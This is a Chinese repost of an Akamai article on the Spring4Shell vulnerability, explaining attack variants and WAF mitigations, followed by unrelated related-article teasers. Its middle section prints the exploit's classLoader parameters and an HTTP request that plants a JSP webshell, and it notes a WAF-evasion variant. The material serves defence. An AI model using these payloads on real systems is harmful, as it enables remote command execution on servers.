缓解Spring Core的“Spring4Shell”零日漏洞

一、概述

2022年3月30日,安全社区广泛注意到Spring(一种流行的开源Java框架)爆出的一个漏洞。Akamai自适应安全引擎第一时间检测到基于该漏洞发起的零日攻击,为Akamai客户提供了保护。

该漏洞的披露时间线以及其他通过非正式方式上报的信息让很多人产生了误解,Akamai希望通过本文向客户和其他感兴趣的相关人员介绍最新情况。

共有两个与Spring产品有关的独立漏洞:

  • CVE-2022-22963,Spring Cloud Function(开源无服务器技术)中的漏洞,已于3月24日提供补丁并公开了漏洞信息。
  • CVE-2022-22965,Spring Core中的另一个漏洞(被称为“Spring4Shell”)。Spring Core漏洞的影响更大,因为它涉及核心库,每个Spring项目都可能首此影响。不过也有一些观点认为没那么严重,因为该漏洞需要一个特殊配置,而Spring开发者在开启这项配置时会收到明确警告说这是一个不安全的做法。下文将详细分析该漏洞的相关问题。

就在Spring Core漏洞(“Spring4Shell”)出现的同一天(3月30日),我们就观察到很多利用企图。

来源:某客户的Akamai Web Security Analytics仪表板结果

二、早期利用企图

一些早期的利用企图中,攻击者会尝试着部署一个WebShell(一种基于Web的远程控制后门文件),借此访问服务器并在服务器上执行任意命令,甚至借此让服务器感染其他恶意软件或在目标网络内部进一步传播。还有一些攻击企图则是在针对该漏洞进行自我测试。以下是我们看到的一些包含有效载荷的攻击范例:

三、多种攻击变体

Spring Core漏洞有多种利用方式,但每个变体中,攻击请求都会重新配置日志参数。借此,攻击者即可设置所需的WebShell页面、文件扩展以及想要写入到的目录:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bf%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
class.module.classLoader.resources.context.parent.pipeline.first.prefix=aaa
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

请留意class...first.pattern参数中的URL解码文件内容是%{f}i。而正在(被%{})评估的f的值是从名为f的HTTP头中提取的。

GET /aaa  HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

第一个概念证实漏洞是在Spring的开发者提供官方沟通前由研究人员公布的,而后续的混乱也正是由此开始。虽然这位研究人员立即将自己公布的信息删除,但相关信息已经泄漏并公布至vx-underground(安全研究人员社区)。

随后该漏洞以变体形式再次出现,并且变的更加紧凑。变体之间的主要差别在于:漏洞参数到底是通过POST参数设置,还是通过查询字符串的GET请求设置。后者将需要发送到服务器的请求数量减小到一个。

第二个版本的漏洞还包含潜在的WAF或输入过滤规避能力,并能混淆安全控制机制所查找的敏感代码模式,例如<% , %>以及Runtime.getRuntime()。上传的WebShell文件内容可以包含占位符,Spring可以用相应的头值内容替换这些占位符。

因此class...first.pattern内容中的%{suffix}i将被替换为%>//,而这正是HTTP头的后缀值。

四、通过Akamai自适应安全引擎加以缓解

所有Akamai Kona Site Defender客户已经可以受到保护。Akamai自适应安全引擎可以通过现有的命令注入规则成功检查到Spring Core零日攻击:

  • 3000023 - Apache Struts ClassLoader Manipulation Remote Code Execution

其他有助于缓解该漏洞的Kona Site Defender规则集还包括:

  • Automated Attack Group:
    • 1000005 - Command Injection
  • Kona Rule Set:
    • 3000023 - Apache Struts ClassLoader Manipulation Remote Code Execution

五、总结

Spring Core(“Spring4Shell”)漏洞的利用门槛低,很可能会影响很多组织。Akamai预计威胁者会利用该漏洞发起数字货币挖矿、DDoS、勒索软件等不同类型的攻击,并在未来几年内以该漏洞为钥匙进入各种组织的内部网络。不过Akamai客户在自适应安全引擎和Kona Site Defender规则集的保护下,并不需要担心此类风险。

Akamai威胁研究团队还在密切监视该漏洞的后续发展,并会在出现新情况后第一时间通知大家。欢迎关注Akamai,第一时间了解最新信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/342777.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

docker报错 missing signature key 无法拉去镜像,yum install docker-ce没有可用软件包 解决办法

错误场景描述 今天项目需要用到minio&#xff0c;我打算在虚拟机中使用docker装一个&#xff0c;可是发现当我docker pull minio/minio的时候&#xff0c;报错了missing signature key 这个报错提示的让人很蒙&#xff0c;翻译过来的意思是 “缺少签名密钥” &#xff1f;&am…

大小鼠行为刺激-ZL-034B大小鼠跳台仪/多通道跳台记录仪

小鼠跳台实验是一种常用的学习记忆实验方法&#xff0c;它基于条件反射原理&#xff0c;通过观察小鼠在电栅和平台之间跳跃的行为&#xff0c;来研究药物对学习和记忆过程的影响。它适用于各种增智健脑、提高记忆、抗衰老药物和保健品筛选、开发研制。它是初筛药物的理想工具&a…

完美调试android-goldfish(linux kernel) aarch64的方法

环境要求 Mac m1Mac m1 中 虚拟机安装aarch64 ubuntu22.02Mac m1安装OrbStack&#xff0c;并在其中安装 ubuntu20.04&#xff08;x86_64&#xff09; 构建文件系统 在虚拟机 aarch64 ubuntu22.02中构建 安装必要的库 sudo apt-get install libncurses5-dev build-essenti…

C++ | 六、栈 Stack、队列 Queue

栈的基础知识 栈&#xff08;stack&#xff09;是一种数据结构&#xff0c;在C中属于STL&#xff08;标准库&#xff09;特点&#xff1a;先进后出 栈的使用&#xff1a; 一、引入头文件<stack>二、创建栈变量&#xff08;类似容器、集合的创建方式&#xff09;&#xf…

前端项目对接protobufjs的时候,踩坑总结

Protobuf&#xff08;Protocol Buffers&#xff09;是一种用于序列化结构化数据的语言无关、平台无关、可扩展的机制。在JS/TS项目中&#xff0c;使用WebSocket与Protobuf可以实现高效的通信和数据传输。protobufjs官方仓库:https://github.com/protobufjs/protobuf.js 安装pro…

户用光伏市场前景如何?

户用光伏市场前景广阔&#xff0c;随着人们对环保和能源利用的关注度不断提高&#xff0c;家庭光伏发电系统也越来越受到欢迎。国家对新能源的支持力度不断加大&#xff0c;政策扶持、电价补贴等措施进一步推动了户用光伏的发展。同时&#xff0c;技术的不断创新和产业链的日益…

在 Linux 上搭建 Java 环境

目录 一、安装jdk 1. 挑选 jdk 版本 2. 安装 3. 验证 jdk 二、安装tomcat 1. 下载压缩包 2. 上传压缩包给 Linux &#xff08;需要用到 rz 命令&#xff09; 3. 解压压缩包&#xff08;需要用到 unzip&#xff09; 4. 进入 bin 目录 5. 给启动脚本增加可执行权限 6. 启…

关于 GPT,你知道多少?

GPT GPT&#xff0c;全称为Generative Pre-Trained Transformer&#xff08;生成式预训练Transformer模型&#xff09;&#xff0c;是一种基于互联网的、可用数据来训练的、文本生成的深度学习模型。GPT的目标是生成自然语言文本&#xff0c;并能够通过机器学习算法进行自我改…

51单片机-电子密码锁

实物演示效果&#xff1a; https://www.bilibili.com/video/BV1xh4y1K7uV/?vd_source6ff7cd03af95cd504b60511ef9373a1d 电子密码锁的主要功能 1.按键设置6位密码&#xff0c;输入密码若密码正确&#xff0c;则锁打开。显示open&#xff01; 2.密码可以自己修改&#xff0…

最新热门商用GPT4.0带MJ绘画去授权版本自定义三方接口(开心版)

一台VPS 搭建宝塔 解析域名 上传程序至根目录 访问首页在线安装配置数据库 PHP版本选择:7.3 安装完成后访问网站首页即可&#xff01; 配置APIKEY&#xff0c;登录网站后台自定义配置&#xff0c;不然网站无法使用&#xff01; 网站后台地址/admin 默认账号:admin 密码…

32、WEB攻防——通用漏洞文件上传二次渲染.htaccess变异免杀

文章目录 一、点过滤二、文件删除三、二次渲染四、.htaccess五、过滤php关键函数 一、点过滤 不能写带文件后缀的文件名&#xff1b;IP转数字 二、文件删除 文件依据规则进行删除&#xff0c;删除有两种删除的类型&#xff1a; 什么文件都删除&#xff0c;条件竞争进行绕过…

【CentOS】Linux 在线帮助文档命令:help、man 命令与文档汉化

目录 1、Linux 的命令行模式 2、help 命令 3、man 命令 4、man 命令输出文档汉化 注&#xff1a;本文档使用 Linux 版本为 CentOS 7.9 [swadianlocalhost ~]$ cat /etc/centos-release CentOS Linux release 7.9.2009 (Core) 1、Linux 的命令行模式 一般情况下&#xff0…

鸿蒙应用开发学习:获取手机位置信息

一、前言 移动应用中经常需要获取设备的位置信息&#xff0c;因此在鸿蒙应用开发学习中&#xff0c;如何获取手机的位置信息是必修课。之前我想偷懒从别人那里复制黏贴代码&#xff0c;于是在百度上搜了一下&#xff0c;可能是我输入的关键字不对&#xff0c;结果没有找到想要…

【云原生】初识Docker,安装以及了解操作命令

一、为什么要使用容器&#xff1f; 背景&#xff1a;以前开发、测试、生产为不同的环境&#xff0c;痛点是发现开发测试以后没问题&#xff0c;但是在生产环境无法运行。给测试、开发、运维人员造成了大量的工作。最终结果是发版更新速度也跟不上&#xff0c;效率低 我认为使…

java SSM自助快递服务平台myeclipse开发mysql数据库springMVC模式java编程计算机网页设计

一、源码特点 java SSM自助快递服务平台是一套完善的web设计系统&#xff08;系统采用SSM框架进行设计开发&#xff0c;springspringMVCmybatis&#xff09;&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代 码和数据库&#xff0c;系统主要采…

mysql 导入数据 1273 - Unknown collation: ‘utf8mb4_0900_ai_ci‘

前言: mysql 导入数据 遇到这个错误 1273 - Unknown collation: utf8mb4_0900_ai_ci 具体原因没有深究 但应该是设计数据库的 字符集类型会出现这个问题 例如: char varchar text..... utf8mb4 类型可以存储表情 在现在这个时代会用很多 以后会用的更多 所以不建议改…

【BBuf的CUDA笔记】十三,OpenAI Triton 入门笔记一

0x0. 前言 2023年很多mlsys工作都是基于Triton来完成或者提供了Triton实现版本&#xff0c;比如现在令人熟知的FlashAttention&#xff0c;大模型推理框架lightllm&#xff0c;diffusion第三方加速库stable-fast等灯&#xff0c;以及很多mlsys的paper也开始使用Triton来实现比…

【C++】string的基本使用二

我们接着上一篇的迭代器说起&#xff0c;迭代器不只有正向的&#xff0c;还有反向的&#xff0c;就是我们下边的这两个 它的迭代器类型也是不同的 rbegin就是末尾&#xff0c;rend就是开头&#xff0c;这样我们想遍历一个string对象的话就可以这样做 int main() {string s1(…

flask+ansible 打造自己的自动化运维平台

一、前言 随着企业信息化要求越来越高&#xff0c;云化架构带来挑战和冲击&#xff0c;海量设备的运维压力也是越来越大&#xff0c;虽然有了批量操作工具&#xff0c;但自动化运维工具操作主要还是依赖于手工执行&#xff08;脚本小子&#xff09;&#xff0c;手工执行又存在着…

云计算管理-linux

1.权限 基本权限与归属 访问权限 读取&#xff1a;允许查看内容-read r 写入&#xff1a;允许修改内容-write w 可执行&#xff1a;允许运行和切换-excute x 对于文本文件&#xff1a; r读取权限&#xff1a;cat、less、grep、head、tail w写入权…